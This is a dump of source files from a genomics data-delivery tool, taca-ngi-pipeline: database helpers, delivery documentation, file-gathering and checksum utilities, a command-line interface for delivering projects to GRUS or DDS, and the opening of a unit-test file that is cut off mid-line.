\"\"\" Establish a CharonSession\n :returns: a ngi_pipeline.database.classes.CharonSession instance\n \"\"\"\n return db.CharonSession()\n\n\ndef project_entry(dbc, projectid):\n \"\"\" Fetch a database entry representing the instance's project\n :returns: a json-formatted database entry\n :raises DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return _wrap_database_query(dbc.project_get, projectid)\n\n\ndef project_sample_entries(dbc, projectid):\n \"\"\" Fetch the database sample entries representing the instance's project\n :returns: a list of json-formatted database sample entries\n :raises DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return _wrap_database_query(dbc.project_get_samples, projectid)\n\n\ndef sample_entry(dbc, projectid, sampleid):\n \"\"\" Fetch a database entry representing the instance's project\n :returns: a json-formatted database entry\n :raises DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n return _wrap_database_query(dbc.sample_get, projectid, sampleid)\n\n\ndef update_project(dbc, projectid, **kwargs):\n \"\"\"\n :param dbc: a valid database session\n :param projectid: the id of the project to update\n :param kwargs: the database fields to update are specified as keyword arguments\n :return: the result from the underlying API call\n :raises DatabaseError: if an error occurred when communicating with the database\n \"\"\"\n return _wrap_database_query(dbc.project_update, projectid, **kwargs)\n\n\ndef update_sample(dbc, projectid, sampleid, **kwargs):\n \"\"\"\n :param dbc: a valid database session\n :param projectid: the id of the project to update\n :param sampleid: the id of the sample to update\n :param kwargs: the database fields to update are specified as keyword arguments\n :return: the result from the underlying API call\n :raises DatabaseError: if an error occurred when communicating with the database\n \"\"\"\n return _wrap_database_query(dbc.sample_update, projectid, sampleid, **kwargs)" }, { "alpha_fraction": 0.751160204410553, "alphanum_fraction": 0.7554808855056763, "avg_line_length": 42.089656829833984, "blob_id": "e94021172be723bf7dc949a40cad1e760a76cf75", "content_id": "10ecf0b50de9f03f171a5e072c69ef2e0dac8704", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": true, "language": "reStructuredText", "length_bytes": 6249, "license_type": "permissive", "max_line_length": 107, "num_lines": 145, "path": "/doc/_templates/deliver.rst", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "Project and Sample delivery\n===========================\n\nTACA has a delivery module that assists in preparing and transferring data for\na project, to a specified destination. Before starting the delivery process of \na sample, the status of the sample is fetched from the tracking database. If\nthe sample does not have an analysis status that indicates that the analysis is\ncomplete, the sample will be skipped. Likewise, if the sample has a delivery \nstatus indicating that it has already been delivered, it will be skipped. This\nmakes it safe to run the delivery script repeatedly for projects and samples,\nany sample that should not be delivered will be skipped. \n\nIf a non-recoverable error occurs during the delivery of a sample, an email will\nbe sent to the address specified in the configuration or on the command line \n(see below), and the delivery will skip to the next sample. Errors which are \nconsidered to be recoverable (e.g. individual files missing for a sample) will\ngenerate a warning in the log but will not trigger an email notification or\nabort the delivery of the current sample. **It is therefore important to review\nthe log file after delivery**.\n\nAfter successful delivery of a sample or project, the delivery status in the\ntracking database will be updated. Failed or aborted deliveries will not result\nin an updated delivery status.\n\nThe delivery is broken down into two steps: **staging** and **transfer**.\n\nStaging\n-------\n\nIn the staging step, files that are to be tranferred are located and symlinked \ninto a staging folder, according to the TACA configuration. A checksum is calculated for each staged file. \n\nTransfer\n--------\n\nIn the transfer step, the previously staged folder is transferred to the \ndestination location, specified in the configuration using rsync. It is possible\nto transfer across hosts but the authentication has to be taken care of outside\nof TACA, e.g. with key authorization or some ssh-agent solution. If transfer \nwas done on a local system, the integrity of the transferred files is verified\nby comparing to the checksums calculated in the staging folder.\n\nConfiguration\n-------------\n\nConfiguration options affecting the delivery are specified under the \n``deliver:`` section in the TACA configuration. Many configuration options\ncan also be given on the command line. Option values given on the command line \ntakes precedence over option values specified in the configuration. \n\nIt is possible to use placeholders in paths in the configuration file. The\nplaceholders will be evaluated and replaced with the corresponding value at \nrun-time, which is useful for specifying e.g. sample-specific paths. The syntax\nfor a placeholder is the name in capital letters, surrounded by underscores, \ne.g. ``_SAMPLEID_``. The placeholder will be replaced with the corresponding\nconfiguration option in lowercase letters, i.e. in the example above, this will \nbe ``sampleid``.\n\nBelow is a description of common configuration options.\n\n``operator`` an email address to send notifications of errors occurring during\ndelivery to\n\n``stagingpath`` path where files will be staged. *Required*\n\n``deliverypath`` path where the staged files will be delivered. If used together\nwith option ``remote_host``, this will be the path on the remote system. \n*Required*\n\n``files_to_deliver`` a list of tuples, where the first entry is a path \nexpression (this can be a file glob), pointing to a file or folder that should \nbe delivered, and the second entry is the path to where the matching file(s) or \nfolders (and contents) will be staged by symlinking. *Required*\n\n``hash_algorithm`` the algorithm that should be used for calculating the file\nchecksums. Accepted values are algorithms available through the Python `hashlib`_ module.\n\nBelow is a sample configuration snippet:\n\n.. code-block:: yaml\n\n deliver:\n deliverypath: /local/or/remote/path/to/transfer/destination\n stagingpath: /path/to/stage\n operator: [email protected]\n files_to_deliver:\n -\n - /expression/to/source/file/or/folder\n - _STAGINGPATH_/the/file/or/folder/and/contents\n -\n - /expression/can/be/a/*/glob/as/well*\n - _STAGINGPATH_/files/or/folders/matching/glob\n\nIn addition, there is a dependency on the `ngi_pipeline`_ module, which requires\nits own configuration file. Please refer to the ngi_pipeline `documentation`_ \nfor details.\n\nCommand line options\n--------------------\n\nThe delivery script can be run for an entire project or for one or more samples\nin a project. The main delivery command is ``taca deliver`` and it takes further\nsubcommands as described below. The deliver command accepts a number of options,\nrun ``taca deliver --help`` for a description of these.\n\nProject delivery\n~~~~~~~~~~~~~~~~\n\nRunning the delivery script for a project is equivalent to delivering all \nsamples in the project. To launch a delivery for a project, use the command \n``taca deliver project``. Typically, the command takes one positional argument, \nwhich is the name of the project to deliver, e.g. \n``taca deliver project MH-0336``\n\nFor a full listing of available options, run the ``taca deliver project --help``\n\nSample delivery\n~~~~~~~~~~~~~~~\n\nOne or more samples in a project can be delivered with the ``taca deliver \nsample`` command. The command takes any number of positional arguments, where \nthe first is expected to be the project name and the following arguments are\nassumed to be the sample names, e.g. \n``taca deliver sample MH-0336 Sample1 Sample 3 Sample 5``\n\nFor a full listing of available options, run the ``taca deliver sample --help``\n \nExample usage\n-------------\n\nDeliver all finished samples belonging to project MH-0336 according to the \nconfiguration in ``conf/taca_cfg.yaml``:\n\n``taca -c conf/taca_cfg.yaml deliver project MH-0336``\n\nDeliver the specified samples belonging to the project according to the \ndefault configuration:\n\n``taca deliver sample MH-0336 Sample1 Sample 3 Sample 5``\n\n.. _hashlib: https://docs.python.org/2/library/hashlib.html\n\n.. _ngi_pipeline: https://github.com/NationalGenomicsInfrastructure/ngi_pipeline\n\n.. _documentation: https://github.com/NationalGenomicsInfrastructure/ngi_pipeline\n\n" }, { "alpha_fraction": 0.5595017671585083, "alphanum_fraction": 0.5615216493606567, "avg_line_length": 40.83802795410156, "blob_id": "7f05ed79e056620b99d840ae91cebf9a19c4c225", "content_id": "b65b63af541b16523121973d5d6b52b41172883b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5941, "license_type": "permissive", "max_line_length": 117, "num_lines": 142, "path": "/taca_ngi_pipeline/utils/filesystem.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "__author__ = 'Pontus'\n\nfrom glob import iglob\nfrom logging import getLogger\nfrom os import path, walk, sep as os_sep\nfrom taca.utils.misc import hashfile\nfrom io import open\nimport six\n\nlogger = getLogger(__name__)\n\n# Handle hashfile output in both python versions\ntry:\n unicode\nexcept NameError:\n unicode = str\n\nclass FileNotFoundException(Exception):\n pass\n\n\nclass PatternNotMatchedException(Exception):\n pass\n\n\ndef gather_files(patterns, no_checksum=False, hash_algorithm=\"md5\"):\n \"\"\" This method will locate files matching the patterns specified in\n the config and compute the checksum and construct the staging path\n according to the config.\n\n The config should contain the key 'files_to_deliver', which should\n be a list of tuples with source path patterns and destination path\n patterns. The source path can be a file glob and can refer to a\n folder or file. File globs will be expanded and folders will be\n traversed to include everything beneath.\n\n :returns: A generator of tuples with source path,\n destination path and the checksum of the source file\n (or None if source is a folder)\n \"\"\"\n def _get_digest(sourcepath, destpath, no_digest_cache=False, no_digest=False):\n digest = None\n # skip the digest if either the global or the per-file setting is to skip\n if not any([no_checksum, no_digest]):\n checksumpath = \"{}.{}\".format(sourcepath, hash_algorithm)\n try:\n with open(checksumpath, 'r') as fh:\n contents = unicode(next(fh))\n digest = contents.split()[0]\n except (IOError, StopIteration):\n digest = unicode(hashfile(sourcepath, hasher=hash_algorithm))\n if not no_digest_cache:\n try:\n with open(checksumpath, 'w') as fh:\n fh.write(f'{digest} {path.basename(sourcepath)}')\n except IOError as we:\n logger.warning(\"could not write checksum {} to file {}: {}\".format(digest, checksumpath, we))\n return sourcepath, destpath, digest\n\n def _walk_files(currpath, destpath):\n # if current path is a folder, return all files below it\n if path.isdir(currpath):\n parent = path.dirname(currpath)\n for parentdir, _, dirfiles in walk(currpath, followlinks=True):\n for currfile in dirfiles:\n fullpath = path.join(parentdir, currfile)\n # the relative path will be used in the destination path\n relpath = path.relpath(fullpath, parent)\n yield (fullpath, path.join(destpath, relpath))\n else:\n yield (currpath,\n path.join(\n destpath,\n path.basename(currpath)))\n\n if patterns is None:\n patterns = []\n for pattern in patterns:\n sfile, dfile = pattern[0:2]\n try:\n extra = pattern[2]\n except IndexError:\n extra = {}\n matches = 0\n for f in iglob(sfile):\n for spath, dpath in _walk_files(f, dfile):\n # ignore checksum files\n if not spath.endswith(\".{}\".format(hash_algorithm)):\n matches += 1\n # skip and warn if a path does not exist, this includes broken symlinks\n if path.exists(spath):\n yield _get_digest(\n spath,\n dpath,\n no_digest_cache=extra.get('no_digest_cache', False),\n no_digest=extra.get('no_digest', False))\n else:\n # if the file pattern requires a match, throw an error. otherwise warn\n msg = \"path {} does not exist, possibly because of a broken symlink\".format(spath)\n if extra.get('required', False):\n logger.error(msg)\n raise FileNotFoundException(msg)\n logger.warning(msg)\n if matches == 0:\n msg = \"no files matching search expression '{}' found \".format(sfile)\n if extra.get('required', False):\n logger.error(msg)\n raise PatternNotMatchedException(msg)\n logger.warning(msg)\n\ndef parse_hash_file(hfile, last_modified, hash_algorithm=\"md5\", root_path=\"\", files_filter=None):\n \"\"\"Parse the hash file and return dict with hash value and file size\n Files are grouped based on parent directory relative to stage\n if 'files_filter' is provided only info for those files are given\n \"\"\"\n mdict = {}\n with open(hfile, 'r') as hfl:\n for hl in hfl:\n hl = hl.strip()\n if files_filter and not any([pat in hl for pat in files_filter]):\n continue\n hval, fnm = hl.split()\n fkey = fnm.split(os_sep)[0] if os_sep in fnm else path.splitext(fnm)[0]\n if fkey not in mdict:\n mdict[fkey] = {}\n mdict[fkey][fnm] = {'{}_sum'.format(hash_algorithm): hval,\n 'size_in_bytes': path.getsize(path.join(root_path, fnm)),\n 'last_modified': last_modified}\n return mdict\n\ndef merge_dicts(mdict, sdict):\n \"\"\"Merge the 2 given dictioneries, if a key already exists it is\n replaced/updated with new values depending upon data types\n \"\"\"\n for k, v in six.iteritems(sdict):\n if isinstance(v, dict) and isinstance(mdict.get(k), dict):\n mdict[k] = merge_dicts(mdict[k], v)\n elif isinstance(v, list) and isinstance(mdict.get(k), list):\n mdict[k] = sorted(set(mdict[k] + v))\n else:\n mdict[k] = v\n return mdict\n" }, { "alpha_fraction": 0.6080829501152039, "alphanum_fraction": 0.6101214289665222, "avg_line_length": 41.58113098144531, "blob_id": "949c8a2e840c5216f378aa152e851fd95850c780", "content_id": "ca34a3aa1da516a5ea98b6a7b648f22efb54e5e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11283, "license_type": "permissive", "max_line_length": 134, "num_lines": 265, "path": "/taca_ngi_pipeline/cli.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "\"\"\" CLI for the deliver subcommand\n\"\"\"\nimport click\nimport logging\n\nfrom taca.utils.misc import send_mail\nfrom taca.utils.config import load_yaml_config\nfrom taca_ngi_pipeline.deliver import deliver as _deliver\nfrom taca_ngi_pipeline.deliver import deliver_grus as _deliver_grus\nfrom taca_ngi_pipeline.deliver import deliver_dds as _deliver_dds\n\nlogger = logging.getLogger(__name__)\n\n#######################################\n# deliver\n#######################################\n\n\[email protected]()\[email protected]_context\[email protected]('--deliverypath', type=click.STRING, help=\"Deliver to this destination folder\")\[email protected]('--stagingpath', type=click.STRING, help=\"Stage the delivery under this path\")\[email protected]('--uppnexid', type=click.STRING, help=\"Use this UppnexID instead of fetching from database\")\[email protected]('--operator', type=click.STRING, default=None, multiple=True,\n help=\"Email address to notify operator at. Multiple operators can be specified\")\[email protected]('--stage_only', is_flag=True, default=False,\n help=\"Only stage the delivery but do not transfer any files\")\[email protected]('--ignore-analysis-status', is_flag=True, default=False,\n help=\"Do not check analysis status upon delivery. To be used only when delivering projects without BP (e.g., WHG)\")\[email protected]('--force', is_flag=True, default=False,\n help=\"Force delivery, even if e.g. analysis has not finished or sample has already been delivered\")\[email protected]('--cluster', type=click.Choice(['grus', 'dds']), # Can be expanded to include future clusters\n help=\"Specify to which cluster one wants to deliver\")\[email protected]('--generate_xml_and_manifest_files_only', is_flag=True, default=False,\n help=\"Explicitly generate xml amd manifest files for ENA submission on a staged project\")\n\n\ndef deliver(ctx, deliverypath, stagingpath, \n uppnexid, operator, stage_only, \n force, cluster, ignore_analysis_status,\n generate_xml_and_manifest_files_only):\n \"\"\" Deliver methods entry point\n \"\"\"\n if deliverypath is None:\n del ctx.params['deliverypath']\n if stagingpath is None:\n del ctx.params['stagingpath']\n if uppnexid is None:\n del ctx.params['uppnexid']\n if operator is None or len(operator) == 0:\n del ctx.params['operator']\n\n\n# deliver subcommands\n# project delivery\[email protected]()\[email protected]_context\[email protected]('projectid', type=click.STRING, nargs=-1)\[email protected]('--snic-api-credentials',\n default=None,\n envvar='SNIC_API_STOCKHOLM',\n type=click.File('r'),\n help='Path to SNIC-API credentials to create delivery projects')\[email protected]('--statusdb-config',\n default=None,\n envvar='STATUS_DB_CONFIG',\n type=click.File('r'),\n help='Path to statusdb-configuration')\[email protected]('--order-portal',\n default=None,\n envvar='ORDER_PORTAL',\n type=click.File('r'),\n help='Path to order portal credantials to retrive PI email')\[email protected]('--pi-email',\n default=None,\n type=click.STRING,\n help='pi-email, to be specified if PI-email stored in statusdb does not correspond SUPR PI-email')\[email protected]('--sensitive/--no-sensitive',\n default=True,\n help='flag to specify if data contained in the project is sensitive or not')\[email protected]('--hard-stage-only',\n is_flag=True,\n default=False,\n help='Perform all the delivery actions but does not run to_mover (to be used for semi-manual deliveries)')\[email protected]('--add-user',\n multiple=True,\n type=click.STRING,\n help='User email address to add in GRUS delivery project. Multiple user can be given by calling parameter multiple times')\[email protected]('--fc-delivery',\n type=click.STRING,\n help='Flowcell id for delivering whole Illumnina run folder')\[email protected]('--project-desc',\n default=None,\n type=click.STRING,\n help='Project description, to be specified if project not in order portal (DDS only)')\[email protected]('--ignore-orderportal-members',\n is_flag=True,\n default=False,\n help='Do not fetch member information from the order portal')\n\ndef project(ctx, projectid, \n snic_api_credentials=None, statusdb_config=None, \n order_portal=None, pi_email=None,\n sensitive=True, hard_stage_only=False, \n add_user=None, fc_delivery=False,\n project_desc=None, ignore_orderportal_members=False):\n \"\"\" Deliver the specified projects to the specified destination\n \"\"\"\n for pid in projectid:\n if ctx.parent.params['cluster']:\n if statusdb_config == None:\n logger.error(\"--statusdb-config or env variable $STATUS_DB_CONFIG\"\n \" need to be set to perform {} delivery\".format(ctx.parent.params['cluster']))\n return 1\n load_yaml_config(statusdb_config.name)\n if order_portal == None:\n logger.error(\"--order-portal or env variable $ORDER_PORTAL\"\n \" need to be set to perform {} delivery\".format(ctx.parent.params['cluster']))\n return 1\n load_yaml_config(order_portal.name)\n if not ctx.parent.params['cluster']: # Soft stage case\n d = _deliver.ProjectDeliverer(\n pid,\n **ctx.parent.params)\n elif ctx.parent.params['cluster'] == 'grus': # Hard stage and deliver to GRUS\n if snic_api_credentials == None:\n logger.error(\"--snic-api-credentials or env variable $SNIC_API_STOCKHOLM need to be set to perform GRUS delivery\")\n return 1\n load_yaml_config(snic_api_credentials.name)\n d = _deliver_grus.GrusProjectDeliverer(\n projectid=pid,\n pi_email=pi_email,\n sensitive=sensitive,\n hard_stage_only=hard_stage_only,\n add_user=list(set(add_user)),\n fcid=fc_delivery,\n **ctx.parent.params)\n elif ctx.parent.params['cluster'] == 'dds': # Hard stage and deliver using DDS\n d = _deliver_dds.DDSProjectDeliverer(\n projectid=pid,\n pi_email=pi_email,\n sensitive=sensitive,\n add_user=list(set(add_user)),\n fcid=fc_delivery,\n do_release=False,\n project_description=project_desc,\n ignore_orderportal_members=ignore_orderportal_members,\n **ctx.parent.params)\n \n\n if fc_delivery:\n _exec_fn(d, d.deliver_run_folder)\n else:\n _exec_fn(d, d.deliver_project)\n\n# sample delivery\n#TODO: not used? remove?\[email protected]()\[email protected]_context\[email protected]('projectid', type=click.STRING, nargs=1)\[email protected]('sampleid', type=click.STRING, nargs=-1)\ndef sample(ctx, projectid, sampleid):\n \"\"\" Deliver the specified sample to the specified destination\n \"\"\"\n for sid in sampleid:\n if not ctx.parent.params['cluster']: # Soft stage case\n d = _deliver.SampleDeliverer(\n projectid,\n sid,\n **ctx.parent.params)\n elif ctx.parent.params['cluster'] == 'grus':\n logger.error(\"When delivering to grus only project can be specified, not sample\")\n return 1\n elif ctx.parent.params['cluster'] == 'dds':\n logger.error(\"When delivering with DDS only project can be specified, not sample\")\n return 1\n _exec_fn(d, d.deliver_sample)\n\n# helper function to handle error reporting\ndef _exec_fn(obj, fn):\n try:\n if fn():\n logger.info(\n \"{} processed successfully\".format(str(obj)))\n else:\n logger.info(\n \"{} processed with some errors, check log\".format(\n str(obj)))\n except Exception as e:\n logger.exception(e)\n try:\n send_mail(\n subject=\"[ERROR] processing failed: {}\".format(str(obj)),\n content=\"Project: {}\\nSample: {}\\nCommand: {}\\n\\nAdditional information:{}\\n\".format(\n obj.projectid, obj.sampleid, str(fn), str(e)),\n receiver=obj.config.get('operator'))\n except Exception as me:\n logger.error(\n \"processing {} failed - reason: {}, but operator {} could not be notified - reason: {}\".format(\n str(obj), e, obj.config.get('operator'), me))\n else:\n logger.error(\"processing {} failed - reason: {}, operator {} has been notified\".format(\n str(obj), str(e), obj.config.get('operator')))\n\n\n# check status of ongoing GRUS delivery\[email protected]()\[email protected]_context\[email protected]('projectid', type=click.STRING, nargs=-1)\[email protected]('--snic-api-credentials',\n\t\t\t default=None,\n\t\t\t envvar='SNIC_API_STOCKHOLM',\n\t\t\t type=click.File('r'),\n\t\t\t help='Path to SNIC-API credentials to create delivery projects')\[email protected]('--statusdb-config',\n\t\t\t default=None,\n\t\t\t envvar='STATUS_DB_CONFIG',\n\t\t\t type=click.File('r'),\n\t\t\t help='Path to statusdb-configuration')\n\ndef check_status(ctx, projectid, snic_api_credentials=None, statusdb_config=None):\n \"\"\"In grus delivery mode checks the status of an onggoing delivery\n \"\"\"\n for pid in projectid:\n if statusdb_config == None:\n logger.error(\"--statusdb-config or env variable $STATUS_DB_CONFIG need to be set to perform GRUS delivery\")\n return 1\n load_yaml_config(statusdb_config.name)\n if snic_api_credentials == None:\n logger.error(\"--snic-api-credentials or env variable $SNIC_API_STOCKHOLM need to be set to perform GRUS delivery\")\n return 1\n load_yaml_config(snic_api_credentials.name)\n\n d = _deliver_grus.GrusProjectDeliverer(\n pid,\n **ctx.parent.params)\n d.check_mover_delivery_status()\n\[email protected]()\[email protected]_context\[email protected]('projectid', type=click.STRING)\[email protected]('--dds_project',\n default=None,\n type=click.STRING,\n help='DDS project ID to release')\[email protected]('--dds_deadline',\n default=45,\n type=click.IntRange(1, 90),\n help='Deadline for DDS project in days [min 1; max 90; default 45]')\[email protected]('--no-dds-mail',\n is_flag=True,\n default=False,\n help='Do not send DDS e-mail notifications regarding project updates')\n\ndef release_dds_project(ctx, projectid, dds_project, dds_deadline, no_dds_mail):\n \"\"\"Updates DDS delivery status in Charon and releases DDS project to user.\n \"\"\"\n if not dds_project:\n logger.error('Please specify the DDS project ID to release with --dds_project')\n return 1\n d = _deliver_dds.DDSProjectDeliverer(\n projectid,\n do_release=True,\n **ctx.parent.params)\n d.release_DDS_delivery_project(dds_project, no_dds_mail, dds_deadline)" }, { "alpha_fraction": 0.5820813775062561, "alphanum_fraction": 0.5874946713447571, "avg_line_length": 42.7260627746582, "blob_id": "bf1f0ec2b3f272d180ed58acd5225f3d8bc7b2e5", "content_id": "d160526fed898224943597b4a2beaf7c79766876", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 32882, "license_type": "permissive", "max_line_length": 121, "num_lines": 752, "path": "/tests/deliver/test_deliver.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "\"\"\" Unit tests for the deliver commands \"\"\"\n\nimport json\n# noinspection PyPackageRequirements\nimport mock\nimport os\nimport shutil\nimport signal\nimport taca_ngi_pipeline.utils.filesystem\nimport tempfile\nimport unittest\n\nfrom ngi_pipeline.database import classes as db\nfrom taca_ngi_pipeline.deliver import deliver\nfrom taca_ngi_pipeline.utils import filesystem as fs\nfrom taca.utils.filesystem import create_folder\nfrom taca.utils.misc import hashfile\nfrom taca.utils.transfer import SymlinkError, SymlinkAgent\nfrom io import open\nfrom six.moves import range\n\nSAMPLECFG = {\n 'deliver': {\n 'analysispath': '<ROOTDIR>/ANALYSIS',\n 'datapath': '<ROOTDIR>/DATA',\n 'stagingpath': '<ROOTDIR>/STAGING',\n 'deliverypath': '<ROOTDIR>/DELIVERY_DESTINATION',\n 'operator': '[email protected]',\n 'logpath': '<ROOTDIR>/ANALYSIS/logs',\n 'reportpath': '<ANALYSISPATH>',\n 'copy_reports_to_reports_outbox': 'True',\n 'reports_outbox': '/test/this/path',\n 'deliverystatuspath': '<ANALYSISPATH>',\n 'report_aggregate': 'ngi_reports ign_aggregate_report -n uppsala',\n 'report_sample': 'ngi_reports ign_sample_report -n uppsala',\n 'hash_algorithm': 'md5',\n 'files_to_deliver': [\n ['<ANALYSISPATH>/level0_folder?_file*',\n '<STAGINGPATH>'],\n ['<ANALYSISPATH>/level1_folder2',\n '<STAGINGPATH>'],\n ['<ANALYSISPATH>/*folder0/*/*_file?',\n '<STAGINGPATH>'],\n ['<ANALYSISPATH>/*/<SAMPLEID>_folder?_file0',\n '<STAGINGPATH>'],\n ['<ANALYSISPATH>/*/*/this-file-does-not-exist',\n '<STAGINGPATH>'],\n ['<ANALYSISPATH>/level0_folder0_file0',\n '<STAGINGPATH>'],\n ['<DATAPATH>/level1_folder1/level2_folder1/level3_folder1',\n '<STAGINGPATH>'],\n ['<DATAPATH>/level1_folder1/level1_folder1_file1.md5',\n '<STAGINGPATH>'],\n ['<DATAPATH>/level1_folder1/level2_folder1/this_aggregate_report.csv',\n '<STAGINGPATH>', {'no_digest_cache': True, 'required': True}],\n ['<DATAPATH>/level1_folder1/level2_folder1/version_report.txt',\n '<STAGINGPATH>'],\n ]}}\n\nSAMPLEENTRY = json.loads(\n '{\"delivery_status\": \"this-is-the-sample-delivery-status\", '\n '\"analysis_status\": \"this-is-the-sample-analysis-status\", '\n '\"sampleid\": \"NGIU-S001\"}')\nPROJECTENTRY = json.loads(\n '{\"delivery_status\": \"this-is-the-project-delivery-status\", '\n '\"analysis_status\": \"this-is-the-project-analysis-status\", '\n '\"projectid\": \"NGIU-P001\", '\n '\"uppnex_id\": \"a2099999\"}')\nPROJECTENTRY['samples'] = [SAMPLEENTRY]\n\n\nclass TestDeliverer(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.nfolders = 3\n cls.nfiles = 3\n cls.nlevels = 3\n cls.rootdir = tempfile.mkdtemp(prefix=\"test_taca_deliver_\")\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.rootdir, ignore_errors=True)\n\n def setUp(self):\n with mock.patch.object(deliver.db, 'dbcon', autospec=db.CharonSession) as dbmock:\n self.casedir = tempfile.mkdtemp(prefix=\"case_\", dir=self.rootdir)\n self.projectid = 'NGIU-P001'\n self.sampleid = 'NGIU-S001'\n self.dbmock = dbmock\n self.deliverer = deliver.Deliverer(\n self.projectid,\n self.sampleid,\n rootdir=self.casedir,\n **SAMPLECFG['deliver'])\n self.create_content(\n self.deliverer.expand_path(self.deliverer.analysispath))\n self.create_content(\n self.deliverer.expand_path(self.deliverer.datapath))\n\n def tearDown(self):\n shutil.rmtree(self.casedir, ignore_errors=True)\n\n def create_content(self, parentdir, level=0, folder=0):\n if not os.path.exists(parentdir):\n os.mkdir(parentdir)\n for nf in range(self.nfiles):\n open(\n os.path.join(\n parentdir,\n \"level{}_folder{}_file{}\".format(level, folder, nf)),\n 'w').close()\n if level == self.nlevels:\n return\n level += 1\n for nd in range(self.nfolders):\n self.create_content(\n os.path.join(\n parentdir,\n \"level{}_folder{}\".format(level, nd)),\n level,\n nd)\n\n def test_fetch_db_entry(self):\n \"\"\" db_entry in parent class must not be called directly \"\"\"\n with self.assertRaises(NotImplementedError):\n self.deliverer.db_entry()\n\n def test_update_sample_delivery(self):\n \"\"\" update_delivery_status in parent class must not be called directly\n \"\"\"\n with self.assertRaises(NotImplementedError):\n self.deliverer.update_delivery_status()\n\n @mock.patch.object(\n deliver.db.db.CharonSession,\n 'project_create',\n return_value=\"mocked return value\")\n def test_wrap_database_query(self, dbmock):\n self.assertEqual(\n deliver.db._wrap_database_query(\n deliver.db.dbcon().project_create,\n \"funarg1\",\n funarg2=\"funarg2\"),\n \"mocked return value\")\n dbmock.assert_called_with(\n \"funarg1\",\n funarg2=\"funarg2\")\n dbmock.side_effect = db.CharonError(\"mocked error\")\n with self.assertRaises(deliver.db.DatabaseError):\n deliver.db._wrap_database_query(\n deliver.db.dbcon().project_create,\n \"funarg1\",\n funarg2=\"funarg2\")\n\n def test_gather_files1(self):\n \"\"\" Gather files in the top directory \"\"\"\n expected = [\n os.path.join(\n self.deliverer.expand_path(self.deliverer.analysispath),\n \"level0_folder0_file{}\".format(n))\n for n in range(self.nfiles)]\n pattern = SAMPLECFG['deliver']['files_to_deliver'][0]\n self.deliverer.files_to_deliver = [pattern]\n self.assertEqual(\n [p for p, _, _ in self.deliverer.gather_files()],\n expected)\n\n def test_gather_files2(self):\n \"\"\" Gather a folder in the top directory \"\"\"\n expected = [os.path.join(d, f) for d, _, files in os.walk(\n os.path.join(\n self.deliverer.expand_path(self.deliverer.analysispath),\n \"level1_folder2\")) for f in files]\n pattern = SAMPLECFG['deliver']['files_to_deliver'][1]\n self.deliverer.files_to_deliver = [pattern]\n self.assertEqual(\n [p for p, _, _ in self.deliverer.gather_files()],\n expected)\n\n def test_gather_files3(self):\n \"\"\" Gather the files two levels down \"\"\"\n expected = [\"level2_folder{}_file{}\".format(m, n)\n for m in range(self.nfolders)\n for n in range(self.nfiles)]\n pattern = SAMPLECFG['deliver']['files_to_deliver'][2]\n self.deliverer.files_to_deliver = [pattern]\n self.assertEqual(\n sorted([os.path.basename(p) for p, _, _ in self.deliverer.gather_files()]),\n sorted(expected))\n\n def test_gather_files4(self):\n \"\"\" Replace the SAMPLE keyword in pattern \"\"\"\n expected = [\"level1_folder{}_file0\".format(n)\n for n in range(self.nfolders)]\n pattern = SAMPLECFG['deliver']['files_to_deliver'][3]\n self.deliverer.files_to_deliver = [pattern]\n self.deliverer.sampleid = \"level1\"\n self.assertEqual(\n sorted([os.path.basename(p) for p, _, _ in self.deliverer.gather_files()]),\n sorted(expected))\n\n def test_gather_files5(self):\n \"\"\" Do not pick up non-existing file \"\"\"\n expected = []\n pattern = SAMPLECFG['deliver']['files_to_deliver'][4]\n self.deliverer.files_to_deliver = [pattern]\n self.assertEqual(\n [os.path.basename(p) for p, _, _ in self.deliverer.gather_files()],\n expected)\n\n def test_gather_files6(self):\n \"\"\" Checksum should be cached in checksum file \"\"\"\n pattern = SAMPLECFG['deliver']['files_to_deliver'][5]\n self.deliverer.files_to_deliver = [pattern]\n # create a checksum file and assert that it was used as a cache\n checksumfile = \"{}.{}\".format(\n self.deliverer.expand_path(pattern[0]),\n self.deliverer.hash_algorithm)\n exp_checksum = u\"this checksum should be cached\"\n with open(checksumfile, 'w') as fh:\n fh.write(exp_checksum)\n for _, _, obs_checksum in self.deliverer.gather_files():\n self.assertEqual(\n obs_checksum,\n exp_checksum,\n \"checksum '{}' from cache file was not picked up: '{}'\".format(\n obs_checksum, exp_checksum))\n os.unlink(checksumfile)\n # assert that the checksum file is created as expected\n for spath, _, exp_checksum in self.deliverer.gather_files():\n checksumfile = \"{}.{}\".format(spath, self.deliverer.hash_algorithm)\n self.assertTrue(os.path.exists(checksumfile),\n \"checksum cache file was not created\")\n with open(checksumfile, 'r') as fh:\n obs_checksum = next(fh)\n self.assertEqual(obs_checksum, exp_checksum,\n \"cached and returned checksums did not match\")\n os.unlink(checksumfile)\n exp_checksum = \"mocked-digest\"\n with mock.patch.object(\n taca_ngi_pipeline.utils.filesystem, 'hashfile', return_value=exp_checksum):\n # ensure that a thrown IOError when writing checksum cache file is handled gracefully\n # mock hashfile's call to open builtin\n with mock.patch.object(fs, 'open', side_effect=IOError(\"mocked IOError\")) as iomock:\n for spath, _, obs_checksum in self.deliverer.gather_files():\n checksumfile = \"{}.{}\".format(\n spath, self.deliverer.hash_algorithm)\n self.assertFalse(os.path.exists(checksumfile),\n \"checksum cache file should not have been created\")\n self.assertTrue(iomock.call_count == 2, \"open should have been \"\n \"called twice on checksum cache file\")\n self.assertEqual(\n exp_checksum,\n obs_checksum, \"observed checksum doesn't match expected\")\n # ensure that a digest that shouldn't be cached are not written to file\n tpat = list(pattern)\n tpat.append({'no_digest_cache': True})\n self.deliverer.files_to_deliver = 